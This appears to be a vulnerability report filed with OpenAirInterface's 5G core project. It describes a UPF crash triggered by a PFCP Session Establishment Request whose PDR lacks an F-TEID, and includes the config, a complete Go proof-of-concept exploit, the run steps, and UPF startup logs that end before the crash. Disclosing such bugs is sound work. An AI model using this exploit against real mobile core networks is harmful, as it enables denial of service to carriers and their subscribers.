[Bug] UPF Crash on PFCP Session Establishment contain a PDR with missing F-TEID
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=ON
Description
An attacker with network reachability to the UPF’s N4 port (UDP/8805) can first complete a PFCP Association and then send a PFCP Session Establishment Request whose CreatePDR’s PDI is missing F-TEID. The UPF will crash.
config
config.yaml
################################################################################ # Licensed to the OpenAirInterface (OAI) Software Alliance under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The OpenAirInterface Software Alliance licenses this file to You under # the OAI Public License, Version 1.1 (the "License"); you may not use this file # except in compliance with the License. # You may obtain a copy of the License at # # http://www.openairinterface.org/?page_id=698 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #------------------------------------------------------------------------------- # For more information about the OpenAirInterface (OAI) Software Alliance: # contact@openairinterface.org ################################################################################ # OAI CN Configuration File ### This file can be used by all OAI NFs ### Some fields are specific to an NF and will be ignored by other NFs ### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file ### If you intend to mount this file or use a bare-metal deployment, please refer to README.md ### The README.md also defines default values and allowed values for each configuration parameter ############# Common configuration # Log level for all the NFs log_level: general: debug # If you enable registration, the other NFs will use the NRF discovery mechanism register_nf: general: yes http_version: 2 ############## SBI Interfaces ### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms nfs: amf: host: oai-amf sbi: port: 8080 api_version: v1 interface_name: eth0 n2: interface_name: eth0 port: 38412 smf: host: oai-smf sbi: port: 8080 api_version: v1 interface_name: eth0 n4: interface_name: eth0 port: 8805 upf: host: oai-upf sbi: port: 8080 api_version: v1 interface_name: eth1 n3: interface_name: eth0 port: 2152 n4: interface_name: eth0 port: 8805 n6: interface_name: eth1 n9: interface_name: eth0 port: 2152 udm: host: oai-udm sbi: port: 8080 api_version: v1 interface_name: eth0 udr: host: oai-udr sbi: port: 8080 api_version: v1 interface_name: eth0 ausf: host: oai-ausf sbi: port: 8080 api_version: v1 interface_name: eth0 nrf: host: oai-nrf sbi: port: 8080 api_version: v1 interface_name: eth0 #### Common for UDR and AMF database: host: mysql user: test type: mysql password: test database_name: oai_db generate_random: true connection_timeout: 300 # seconds ## general single_nssai configuration ## Defines YAML anchors, which are reused in the config file snssais: - &embb_slice sst: 1 ############## NF-specific configuration amf: pid_directory: "/var/run" amf_name: "OAI-AMF" # This really depends on if we want to keep the "mini" version or not support_features_options: enable_simple_scenario: no enable_nssf: no enable_smf_selection: yes use_external_udm: no relative_capacity: 30 statistics_timer_interval: 20 #in seconds emergency_support: false served_guami_list: - mcc: 001 mnc: 01 amf_region_id: 01 amf_set_id: 001 amf_pointer: 01 plmn_support_list: - mcc: 001 mnc: 01 tac: 0x0001 nssai: - *embb_slice supported_integrity_algorithms: - "NIA1" - "NIA2" supported_encryption_algorithms: - "NEA0" - "NEA1" - "NEA2" smf: ue_mtu: 1500 support_features: use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF # we resolve from NRF, this is just to configure usage_reporting upfs: - host: oai-upf config: enable_usage_reporting: no ue_dns: primary_ipv4: "1.1.1.1" primary_ipv6: "2001:4860:4860::8888" secondary_ipv4: "8.8.8.8" secondary_ipv6: "2001:4860:4860::8888" ims: pcscf_ipv4: "192.168.70.139" pcscf_ipv6: "fe80::7915:f408:1787:db8b" # the DNN you configure here should be configured in "dnns" # follows the SmfInfo datatype from 3GPP TS 29.510 smf_info: sNssaiSmfInfoList: - sNssai: *embb_slice dnnSmfInfoList: - dnn: "oai" - dnn: "openairinterface" - dnn: "ims" - dnn: "default" local_subscription_infos: - single_nssai: *embb_slice dnn: "oai" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "openairinterface" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "ims" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" - single_nssai: *embb_slice dnn: "default" qos_profile: 5qi: 9 session_ambr_ul: "10Gbps" session_ambr_dl: "10Gbps" upf: support_features: enable_bpf_datapath: yes # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW smfs: - host: oai-smf # To be used for PFCP association in case of no-NRF upf_info: sNssaiUpfInfoList: - sNssai: *embb_slice dnnUpfInfoList: - dnn: "oai" - dnn: "openairinterface" - dnn: "ims" - dnn: "default" ## DNN configuration dnns: - dnn: "oai" pdu_session_type: "IPV4" ipv4_subnet: "10.0.0.0/24" - dnn: "openairinterface" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.1.0/24" ipv6_prefix: "2001:1:2::/64" - dnn: "ims" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.9.0/24" ipv6_prefix: "2001:1:2::/64" - dnn: "default" pdu_session_type: "IPV4V6" ipv4_subnet: "10.0.255.0/24" ipv6_prefix: "2001:1:2::/64" `Steps to reproduce
- Start a new go project inside a new folder: go mod init poc
- Create a main.go and paste the code below:
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
// forcePFCPv1 sets PFCP version to 1 while keeping low 5 bits of first byte.
func forcePFCPv1(pkt []byte) {
if len(pkt) > 0 {
pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
}
}
func assocSetup(seq uint32, nodeIP net.IP) []byte {
p, _ := message.NewAssociationSetupRequest(
seq,
ie.NewNodeID(nodeIP.String(), "", ""),
ie.NewRecoveryTimeStamp(time.Now()),
).Marshal()
forcePFCPv1(p)
return p
}
// buildSE_CHv6_missingFTEID builds a SE with PDI but WITHOUT F-TEID (CH path unfulfilled).
func buildSE_CHv6_missingFTEID(seq uint8, nodeIP net.IP, dnn string) []byte {
farID := uint32(1)
createFAR := ie.NewCreateFAR(
ie.NewFARID(farID),
ie.NewApplyAction(0x02), // FORW
ie.NewForwardingParameters(
ie.NewDestinationInterface(1), // Core
),
)
p, _ := message.NewSessionEstablishmentRequest(
seq, 0, 0, 1, 0,
ie.NewNodeID(nodeIP.String(), "", ""),
ie.NewFSEID(0x0, nodeIP, nil),
ie.NewCreatePDR(
ie.NewPDRID(1),
ie.NewPrecedence(100),
ie.NewPDI(
ie.NewSourceInterface(0), // Access
ie.NewNetworkInstance(dnn),
),
ie.NewFARID(farID),
),
createFAR,
).Marshal()
forcePFCPv1(p)
return p
}
func main() {
var (
host = flag.String("host", "127.0.0.1", "UPF PFCP address")
port = flag.Int("port", 8805, "UPF PFCP port")
node = flag.String("node", "1.1.1.1", "NodeID/F-SEID IPv4 used in requests")
dnn = flag.String("dnn", "oai", "PDI NetworkInstance (DNN)")
waitDur = flag.Duration("wait", 200*time.Millisecond, "wait between messages")
)
flag.Parse()
// Use JoinHostPort to support IPv6 literals correctly
dst := net.JoinHostPort(*host, fmt.Sprintf("%d", *port))
nodeIP := net.ParseIP(*node)
if nodeIP == nil {
log.Fatalf("invalid node IP: %s", *node)
}
conn, err := net.Dial("udp", dst)
if err != nil {
log.Fatalf("dial: %v", err)
}
defer conn.Close()
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
responseCh := make(chan []byte, 10)
errorCh := make(chan error, 1)
go func() {
buf := make([]byte, 1500)
for {
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, err := conn.Read(buf)
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Printf("[INFO] No response received (timeout)")
return
}
errorCh <- err
return
}
responseCh <- buf[:n]
}
}()
assocPkt := assocSetup(1, nodeIP)
log.Printf("[SEND] AssociationSetupRequest seq=1, len=%d bytes", len(assocPkt))
log.Printf("[DEBUG] Packet hex (first 64 bytes): %s", hex.Dump(assocPkt[:min(len(assocPkt), 64)]))
if _, err := conn.Write(assocPkt); err != nil {
log.Fatalf("assoc send: %v", err)
}
select {
case resp := <-responseCh:
log.Printf("[RECV] Response received, len=%d bytes", len(resp))
log.Printf("[DEBUG] Response hex (first 64 bytes): %s", hex.Dump(resp[:min(len(resp), 64)]))
if msg, err := message.Parse(resp); err == nil {
log.Printf("[INFO] Parsed response: Type=%d, MessageType=%s", msg.MessageType(), msg.MessageTypeName())
} else {
log.Printf("[WARN] Failed to parse response: %v", err)
}
case err := <-errorCh:
log.Printf("[ERROR] Read error: %v", err)
case <-time.After(*waitDur):
log.Printf("[WARN] No association response received")
}
time.Sleep(*waitDur)
sePkt := buildSE_CHv6_missingFTEID(2, nodeIP, *dnn)
log.Printf("[SEND] SessionEstablishmentRequest (PDI without F-TEID) seq=2, len=%d bytes", len(sePkt))
log.Printf("[DEBUG] DNN=%s, NodeIP=%s", *dnn, nodeIP.String())
log.Printf("[DEBUG] Packet hex (first 128 bytes): %s", hex.Dump(sePkt[:min(len(sePkt), 128)]))
if _, err := conn.Write(sePkt); err != nil {
log.Fatalf("ch-missing-fteid se send seq=2: %v", err)
}
log.Printf("[INFO] Sent SE(PDI without F-TEID) seq=2, waiting for response...")
log.Printf("[INFO] Expected behavior: UPF should crash with 'No pdr found' error")
select {
case resp := <-responseCh:
log.Printf("[RECV] Response received, len=%d bytes", len(resp))
log.Printf("[DEBUG] Response hex (first 128 bytes): %s", hex.Dump(resp[:min(len(resp), 128)]))
if msg, err := message.Parse(resp); err == nil {
log.Printf("[INFO] Parsed response: Type=%d, MessageType=%s", msg.MessageType(), msg.MessageTypeName())
if _, ok := msg.(*message.SessionEstablishmentResponse); ok {
log.Printf("[INFO] Session Establishment Response received")
log.Printf("[WARN] UPF responded (did not crash) - this is unexpected for vulnerable version")
}
} else {
log.Printf("[WARN] Failed to parse response: %v", err)
}
case err := <-errorCh:
log.Printf("[ERROR] Read error: %v", err)
case <-time.After(3 * time.Second):
log.Printf("[CRASH DETECTED] No response received after 3 seconds")
log.Printf("[SUCCESS] This indicates UPF likely crashed!")
log.Printf("[INFO] Check UPF logs for:")
log.Printf(" - Signal 11 (SIGSEGV)")
log.Printf(" - 'No pdr found' error")
log.Printf(" - 'Session creation failed' exception")
log.Printf("[INFO] Expected crash sequence:")
log.Printf(" 1. UPF receives SE request with PDR (missing F-TEID)")
log.Printf(" 2. UPF processes FAR successfully")
log.Printf(" 3. UPF tries to create BPF session")
log.Printf(" 4. UPF finds 'No pdr found' (PDR invalid due to missing F-TEID)")
log.Printf(" 5. UPF throws exception and crashes")
}
log.Printf("[INFO] Test completed. Check UPF logs for any crashes or errors.")
}
func min(a, b int) int {
if a < b {
return a
}
return b
}- Download required libraries: go mod tidy
- Run the program with the upf pfcp server address: go run main.go -host 192.168.71.2 -port 8805 -node 1.1.1.1 -dnn oai
Logs
docker logs oai-upf
Trying to read .yaml configuration file: /openair-upf/etc/config.yaml
LTTNG Tracing disabled at build-time!
[2025-11-05 09:54:14.890] [upf_app] [start] Options parsed
[2025-11-05 09:54:14.894] [config ] [info] Reading NF configuration from /openair-upf/etc/config.yaml
[2025-11-05 09:54:14.905] [config ] [debug] Unknown NF amf in configuration. Ignored
[2025-11-05 09:54:14.905] [config ] [debug] Unknown NF udm in configuration. Ignored
[2025-11-05 09:54:14.905] [config ] [debug] Unknown NF udr in configuration. Ignored
[2025-11-05 09:54:14.905] [config ] [debug] Unknown NF ausf in configuration. Ignored
[2025-11-05 09:54:14.910] [config ] [debug] Validating configuration of log_level
[2025-11-05 09:54:14.910] [config ] [debug] Validating configuration of register_nf
[2025-11-05 09:54:14.910] [config ] [debug] Validating configuration of http_version
[2025-11-05 09:54:14.910] [config ] [debug] Validating configuration of http_request_timeout
[2025-11-05 09:54:14.910] [config ] [debug] Validating configuration of NRF
[2025-11-05 09:54:14.911] [config ] [debug] Validating configuration of SMF
[2025-11-05 09:54:14.911] [config ] [debug] Validating configuration of UPF Configuration
[2025-11-05 09:54:14.913] [config ] [debug] Validating configuration of DNN
[2025-11-05 09:54:14.914] [config ] [debug] Validating configuration of DNN
[2025-11-05 09:54:14.914] [config ] [debug] Validating configuration of DNN
[2025-11-05 09:54:14.915] [config ] [debug] Validating configuration of DNN
[2025-11-05 09:54:14.915] [config ] [debug] Validating configuration of database
[2025-11-05 09:54:14.915] [common] [debug] Resolving a DNS (name 127.0.0.1)
[2025-11-05 09:54:14.915] [common] [debug] Resolving DNS Try #0
[2025-11-05 09:54:14.917] [common] [debug] Resolved a DNS (name 127.0.0.1, protocol http): Ip Addr 127.0.0.1, port 80
[2025-11-05 09:54:14.917] [config ] [debug] PDN Network validation for UE Subnet: 10.0.0.0
[2025-11-05 09:54:14.917] [config ] [debug] IP Pool : 10.0.0.1 - 10.0.0.254
[2025-11-05 09:54:14.917] [config ] [debug] PDN Network validation for UE Subnet: 10.0.1.0
[2025-11-05 09:54:14.917] [config ] [debug] IP Pool : 10.0.1.1 - 10.0.1.254
[2025-11-05 09:54:14.917] [config ] [debug] PDN Network validation for UE Subnet: 10.0.9.0
[2025-11-05 09:54:14.917] [config ] [debug] IP Pool : 10.0.9.1 - 10.0.9.254
[2025-11-05 09:54:14.917] [config ] [debug] PDN Network validation for UE Subnet: 10.0.255.0
[2025-11-05 09:54:14.917] [config ] [debug] IP Pool : 10.0.255.1 - 10.0.255.254
[2025-11-05 09:54:14.917] [config ] [info] ==== OPENAIRINTERFACE upf vBranch: HEAD Abrev. Hash: 74d8ed9 Date: Tue Oct 28 11:05:06 2025 +0100 ====
[2025-11-05 09:54:14.917] [config ] [info] Basic Configuration:
[2025-11-05 09:54:14.917] [config ] [info] - log_level..................................: debug
[2025-11-05 09:54:14.917] [config ] [info] - register_nf................................: Yes
[2025-11-05 09:54:14.917] [config ] [info] - http_version...............................: 2
[2025-11-05 09:54:14.917] [config ] [info] - HTTP Request Timeout.......................: 3000 (ms)
[2025-11-05 09:54:14.917] [config ] [info] UPF Configuration:
[2025-11-05 09:54:14.917] [config ] [info] - host.......................................: oai-upf
[2025-11-05 09:54:14.917] [config ] [info] - SBI
[2025-11-05 09:54:14.918] [config ] [info] + URL......................................: http://oai-upf:8080
[2025-11-05 09:54:14.918] [config ] [info] + API Version..............................: v1
[2025-11-05 09:54:14.918] [config ] [info] + IPv4 Address ............................: 192.168.70.134
[2025-11-05 09:54:14.918] [config ] [info] - N3:
[2025-11-05 09:54:14.918] [config ] [info] + Port.....................................: 2152
[2025-11-05 09:54:14.918] [config ] [info] + IPv4 Address ............................: 192.168.71.2
[2025-11-05 09:54:14.918] [config ] [info] + MTU......................................: 1500
[2025-11-05 09:54:14.918] [config ] [info] + Interface name: .........................: eth0
[2025-11-05 09:54:14.918] [config ] [info] + Network Instance.........................: access.oai.org
[2025-11-05 09:54:14.918] [config ] [info] - N4:
[2025-11-05 09:54:14.918] [config ] [info] + Port.....................................: 8805
[2025-11-05 09:54:14.918] [config ] [info] + IPv4 Address ............................: 192.168.71.2
[2025-11-05 09:54:14.918] [config ] [info] + MTU......................................: 1500
[2025-11-05 09:54:14.918] [config ] [info] + Interface name: .........................: eth0
[2025-11-05 09:54:14.918] [config ] [info] - N6:
[2025-11-05 09:54:14.918] [config ] [info] + Port.....................................: 2152
[2025-11-05 09:54:14.918] [config ] [info] + IPv4 Address ............................: 192.168.70.134
[2025-11-05 09:54:14.918] [config ] [info] + MTU......................................: 1500
[2025-11-05 09:54:14.918] [config ] [info] + Interface name: .........................: eth1
[2025-11-05 09:54:14.918] [config ] [info] + Network Instance.........................: core.oai.org
[2025-11-05 09:54:14.918] [config ] [info] - Instance ID................................: 0
[2025-11-05 09:54:14.918] [config ] [info] - Remote N6 Gateway..........................: 127.0.0.1
[2025-11-05 09:54:14.918] [config ] [info] - Support Features:
[2025-11-05 09:54:14.918] [config ] [info] + Enable BPF Datapath......................: Yes
[2025-11-05 09:54:14.918] [config ] [info] + Enable QoS...............................: No
[2025-11-05 09:54:14.918] [config ] [info] + Max upf interfaces.......................: 3
[2025-11-05 09:54:14.918] [config ] [info] + Max upf redirect interfaces..............: 2
[2025-11-05 09:54:14.918] [config ] [info] + Max PDU Session..........................: 10000
[2025-11-05 09:54:14.918] [config ] [info] + Max PDRs Per PDU Session.................: 8
[2025-11-05 09:54:14.918] [config ] [info] + Max Qos Flows Per PDU Session............: 8
[2025-11-05 09:54:14.919] [config ] [info] + Max SDF Filters Per PDU Session..........: 8
[2025-11-05 09:54:14.919] [config ] [info] + Max ARP Entries..........................: 2
[2025-11-05 09:54:14.919] [config ] [info] + Enable SNAT..............................: Yes
[2025-11-05 09:54:14.919] [config ] [info] + enable_fr................................: No
[2025-11-05 09:54:14.919] [config ] [info] + upf_info:
[2025-11-05 09:54:14.919] [config ] [info] - snssai_upf_info_item:
[2025-11-05 09:54:14.919] [config ] [info] + snssai:
[2025-11-05 09:54:14.919] [config ] [info] - sst..................................: 1
[2025-11-05 09:54:14.919] [config ] [info] - sd...................................: FFFFFF
[2025-11-05 09:54:14.919] [config ] [info] + dnns:
[2025-11-05 09:54:14.919] [config ] [info] - dnn..................................: oai
[2025-11-05 09:54:14.919] [config ] [info] - dnn..................................: openairinterface
[2025-11-05 09:54:14.919] [config ] [info] - dnn..................................: ims
[2025-11-05 09:54:14.919] [config ] [info] - dnn..................................: default
[2025-11-05 09:54:14.919] [config ] [info] Peer NF Configuration:
[2025-11-05 09:54:14.919] [config ] [info] NRF:
[2025-11-05 09:54:14.919] [config ] [info] - host.....................................: oai-nrf
[2025-11-05 09:54:14.919] [config ] [info] - SBI
[2025-11-05 09:54:14.919] [config ] [info] + URL....................................: http://oai-nrf:8080
[2025-11-05 09:54:14.919] [config ] [info] + API Version............................: v1
[2025-11-05 09:54:14.919] [config ] [info] SMF:
[2025-11-05 09:54:14.919] [config ] [info] - host.....................................: oai-smf
[2025-11-05 09:54:14.919] [config ] [info] - SBI
[2025-11-05 09:54:14.919] [config ] [info] + URL....................................: http://oai-smf:8080
[2025-11-05 09:54:14.919] [config ] [info] + API Version............................: v1
[2025-11-05 09:54:14.919] [config ] [info] DNNs:
[2025-11-05 09:54:14.919] [config ] [info] - DNN:
[2025-11-05 09:54:14.919] [config ] [info] + DNN......................................: oai
[2025-11-05 09:54:14.919] [config ] [info] + PDU session type.........................: IPV4
[2025-11-05 09:54:14.920] [config ] [info] + IPv4 subnet..............................: 10.0.0.0/24
[2025-11-05 09:54:14.920] [config ] [info] + DNS Settings:
[2025-11-05 09:54:14.920] [config ] [info] - primary_dns_ipv4.......................: 8.8.8.8
[2025-11-05 09:54:14.920] [config ] [info] - secondary_dns_ipv4.....................: 1.1.1.1
[2025-11-05 09:54:14.920] [config ] [info] - DNN:
[2025-11-05 09:54:14.920] [config ] [info] + DNN......................................: openairinterface
[2025-11-05 09:54:14.920] [config ] [info] + PDU session type.........................: IPV4V6
[2025-11-05 09:54:14.920] [config ] [info] + IPv6 prefix..............................: 2001:1:2::/64
[2025-11-05 09:54:14.920] [config ] [info] + IPv4 subnet..............................: 10.0.1.0/24
[2025-11-05 09:54:14.920] [config ] [info] + DNS Settings:
[2025-11-05 09:54:14.920] [config ] [info] - primary_dns_ipv4.......................: 8.8.8.8
[2025-11-05 09:54:14.920] [config ] [info] - secondary_dns_ipv4.....................: 1.1.1.1
[2025-11-05 09:54:14.920] [config ] [info] - DNN:
[2025-11-05 09:54:14.920] [config ] [info] + DNN......................................: ims
[2025-11-05 09:54:14.920] [config ] [info] + PDU session type.........................: IPV4V6
[2025-11-05 09:54:14.920] [config ] [info] + IPv6 prefix..............................: 2001:1:2::/64
[2025-11-05 09:54:14.920] [config ] [info] + IPv4 subnet..............................: 10.0.9.0/24
[2025-11-05 09:54:14.920] [config ] [info] + DNS Settings:
[2025-11-05 09:54:14.920] [config ] [info] - primary_dns_ipv4.......................: 8.8.8.8
[2025-11-05 09:54:14.920] [config ] [info] - secondary_dns_ipv4.....................: 1.1.1.1
[2025-11-05 09:54:14.920] [config ] [info] - DNN:
[2025-11-05 09:54:14.920] [config ] [info] + DNN......................................: default
[2025-11-05 09:54:14.920] [config ] [info] + PDU session type.........................: IPV4V6
[2025-11-05 09:54:14.920] [config ] [info] + IPv6 prefix..............................: 2001:1:2::/64
[2025-11-05 09:54:14.920] [config ] [info] + IPv4 subnet..............................: 10.0.255.0/24
[2025-11-05 09:54:14.920] [config ] [info] + DNS Settings:
[2025-11-05 09:54:14.920] [config ] [info] - primary_dns_ipv4.......................: 8.8.8.8
[2025-11-05 09:54:14.920] [config ] [info] - secondary_dns_ipv4.....................: 1.1.1.1
[2025-11-05 09:54:14.920] [upf_app] [info] HTTP Client successfully initiated on interface eth1 with timeout 3000 ms, HTTP version 2
[2025-11-05 09:54:14.920] [common] [start] Starting...
[2025-11-05 09:54:14.921] [common] [start] Started
[2025-11-05 09:54:14.921] [asc_cmd] [start] Starting...
[2025-11-05 09:54:14.921] [common] [info] Starting timer_manager_task
[2025-11-05 09:54:14.922] [asc_cmd] [start] Started
[2025-11-05 09:54:14.922] [upf_app] [start] Starting...
[2025-11-05 09:54:14.923] [udp ] [debug] Creating new listen socket on address 192.168.71.2 and port 8805
[2025-11-05 09:54:14.923] [udp ] [debug] udp_server::udp_server(192.168.71.2:8805)
[2025-11-05 09:54:14.923] [udp ] [debug] Creating new listen socket on address 192.168.71.2 and port 0
[2025-11-05 09:54:14.923] [udp ] [debug] udp_server::udp_server(192.168.71.2:0)
[2025-11-05 09:54:14.923] [pfcp ] [info] pfcp_l4_stack created listening to 192.168.71.2:8805
[2025-11-05 09:54:14.924] [upf_n4 ] [start] Starting...
[2025-11-05 09:54:14.925] [upf_n4 ] [start] Started
[2025-11-05 09:54:14.925] [upf_app] [start] Starting...
[2025-11-05 09:54:14.926] [upf_app] [debug] - NF instance info
[2025-11-05 09:54:14.926] [upf_app] [debug] Instance ID: 1e428bce-6710-45ac-9ebe-a6bd4aa77398
[2025-11-05 09:54:14.926] [upf_app] [debug] Instance name: OAI-UPF
[2025-11-05 09:54:14.926] [upf_app] [debug] Instance type: UPF
[2025-11-05 09:54:14.926] [upf_app] [debug] Instance fqdn:
[2025-11-05 09:54:14.926] [upf_app] [debug] Status: REGISTERED
[2025-11-05 09:54:14.926] [upf_app] [debug] HeartBeat timer: 50
[2025-11-05 09:54:14.926] [upf_app] [debug] Priority: 1
[2025-11-05 09:54:14.926] [upf_app] [debug] Capacity: 100
[2025-11-05 09:54:14.927] [upf_app] [debug] SNSSAI:
[2025-11-05 09:54:14.927] [upf_app] [debug] SST, SD: 1, FFFFFF
[2025-11-05 09:54:14.927] [upf_app] [debug] IPv4 Addr:
[2025-11-05 09:54:14.927] [upf_app] [debug] 192.168.71.2
[2025-11-05 09:54:14.927] [upf_app] [debug] UPF Info:
[2025-11-05 09:54:14.927] [upf_app] [debug] SNSSAI (SST 1, SD FFFFFF)
[2025-11-05 09:54:14.927] [upf_app] [debug] DNN default
[2025-11-05 09:54:14.927] [upf_app] [debug] DNN ims
[2025-11-05 09:54:14.927] [upf_app] [debug] DNN openairinterface
[2025-11-05 09:54:14.927] [upf_app] [debug] DNN oai
[2025-11-05 09:54:14.927] [upf_app] [info] Send NF Instance Registration to NRF
[2025-11-05 09:54:14.927] [upf_app] [debug] UPF profile to JSON:
{"capacity":100,"fqdn":"","heartBeatTimer":50,"ipv4Addresses":["192.168.71.2"],"nfInstanceId":"1e428bce-6710-45ac-9ebe-a6bd4aa77398","nfInstanceName":"OAI-UPF","nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"default"},{"dnn":"ims"},{"dnn":"openairinterface"},{"dnn":"oai"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-05 09:54:14.927] [upf_app] [debug] Send NF Instance Registration to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/1e428bce-6710-45ac-9ebe-a6bd4aa77398)
[2025-11-05 09:54:14.927] [upf_app] [debug] Send NF Instance Registration to NRF, msg body:
{"capacity":100,"fqdn":"","heartBeatTimer":50,"ipv4Addresses":["192.168.71.2"],"nfInstanceId":"1e428bce-6710-45ac-9ebe-a6bd4aa77398","nfInstanceName":"OAI-UPF","nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"default"},{"dnn":"ims"},{"dnn":"openairinterface"},{"dnn":"oai"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-05 09:54:14.927] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 09:54:14.935] [upf_app] [info] Response from NRF, JSON data:
{"capacity":100,"heartBeatTimer":10,"ipv4Addresses":["192.168.71.2"],"json_data":null,"nfInstanceId":"1e428bce-6710-45ac-9ebe-a6bd4aa77398","nfInstanceName":"OAI-UPF","nfServices":[],"nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"oai"},{"dnn":"openairinterface"},{"dnn":"ims"},{"dnn":"default"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-05 09:54:14.935] [upf_app] [debug] - NF instance info
[2025-11-05 09:54:14.935] [upf_app] [debug] Instance ID: 1e428bce-6710-45ac-9ebe-a6bd4aa77398
[2025-11-05 09:54:14.935] [upf_app] [debug] Instance name: OAI-UPF
[2025-11-05 09:54:14.935] [upf_app] [debug] Instance type: UPF
[2025-11-05 09:54:14.935] [upf_app] [debug] Instance fqdn:
[2025-11-05 09:54:14.935] [upf_app] [debug] Status: REGISTERED
[2025-11-05 09:54:14.935] [upf_app] [debug] HeartBeat timer: 10
[2025-11-05 09:54:14.935] [upf_app] [debug] Priority: 1
[2025-11-05 09:54:14.935] [upf_app] [debug] Capacity: 100
[2025-11-05 09:54:14.935] [upf_app] [debug] SNSSAI:
[2025-11-05 09:54:14.935] [upf_app] [debug] SST, SD: 1, FFFFFF
[2025-11-05 09:54:14.935] [upf_app] [debug] IPv4 Addr:
[2025-11-05 09:54:14.935] [upf_app] [debug] 192.168.71.2
[2025-11-05 09:54:14.935] [upf_app] [debug] 192.168.71.2
[2025-11-05 09:54:14.935] [upf_app] [debug] UPF Info:
[2025-11-05 09:54:14.936] [upf_app] [debug] SNSSAI (SST 1, SD FFFFFF)
[2025-11-05 09:54:14.936] [upf_app] [debug] DNN default
[2025-11-05 09:54:14.936] [upf_app] [debug] DNN ims
[2025-11-05 09:54:14.936] [upf_app] [debug] DNN openairinterface
[2025-11-05 09:54:14.936] [upf_app] [debug] DNN oai
[2025-11-05 09:54:14.936] [upf_app] [debug] Updated UPF profile
[2025-11-05 09:54:14.936] [upf_app] [debug] - NF instance info
[2025-11-05 09:54:14.936] [upf_app] [debug] Instance ID: 1e428bce-6710-45ac-9ebe-a6bd4aa77398
[2025-11-05 09:54:14.936] [upf_app] [debug] Instance name: OAI-UPF
[2025-11-05 09:54:14.936] [upf_app] [debug] Instance type: UPF
[2025-11-05 09:54:14.936] [upf_app] [debug] Instance fqdn:
[2025-11-05 09:54:14.936] [upf_app] [debug] Status: REGISTERED
[2025-11-05 09:54:14.936] [upf_app] [debug] HeartBeat timer: 10
[2025-11-05 09:54:14.936] [upf_app] [debug] Priority: 1
[2025-11-05 09:54:14.936] [upf_app] [debug] Capacity: 100
[2025-11-05 09:54:14.936] [upf_app] [debug] SNSSAI:
[2025-11-05 09:54:14.936] [upf_app] [debug] SST, SD: 1, FFFFFF
[2025-11-05 09:54:14.936] [upf_app] [debug] IPv4 Addr:
[2025-11-05 09:54:14.936] [upf_app] [debug] 192.168.71.2
[2025-11-05 09:54:14.936] [upf_app] [debug] 192.168.71.2
[2025-11-05 09:54:14.936] [upf_app] [debug] UPF Info:
[2025-11-05 09:54:14.936] [upf_app] [debug] SNSSAI (SST 1, SD FFFFFF)
[2025-11-05 09:54:14.936] [upf_app] [debug] DNN default
[2025-11-05 09:54:14.936] [upf_app] [debug] DNN ims
[2025-11-05 09:54:14.936] [upf_app] [debug] DNN openairinterface
[2025-11-05 09:54:14.936] [upf_app] [debug] DNN oai
[2025-11-05 09:54:14.936] [upf_app] [start] Started
[2025-11-05 09:54:14.936] [upf_app] [start] Started
[2025-11-05 09:54:14.938] [upf_app] [info] GTP interface: eth0
[2025-11-05 09:54:14.938] [upf_app] [info] Non-GTP interface: eth1
[2025-11-05 09:54:14.938] [upf_app] [info] Initializing PFCP Session Lookup BPF program...
[2025-11-05 09:54:14.940] [upf_app] [debug] Configured map m_upf_interfaces with max_entries=3
[2025-11-05 09:54:14.940] [upf_app] [debug] Configured map m_redirect_interfaces with max_entries=2
[2025-11-05 09:54:14.940] [upf_app] [debug] Configured map m_session_mapping with max_entries=10000
[2025-11-05 09:54:14.940] [upf_app] [debug] Configured map m_session_pdrs with max_entries=8
[2025-11-05 09:54:14.940] [upf_app] [debug] Configured map m_sdf_filter with max_entries=8
[2025-11-05 09:54:14.940] [upf_app] [debug] Configured map m_arp_table with max_entries=2
[2025-11-05 09:54:14.940] [upf_app] [debug] Configured map m_rules_match_pdr with max_entries=80000
[2025-11-05 09:54:14.940] [upf_app] [debug] Configured map m_qos_enabling with max_entries=10000
[2025-11-05 09:54:15.070] [upf_app] [debug] Configure redirect interface
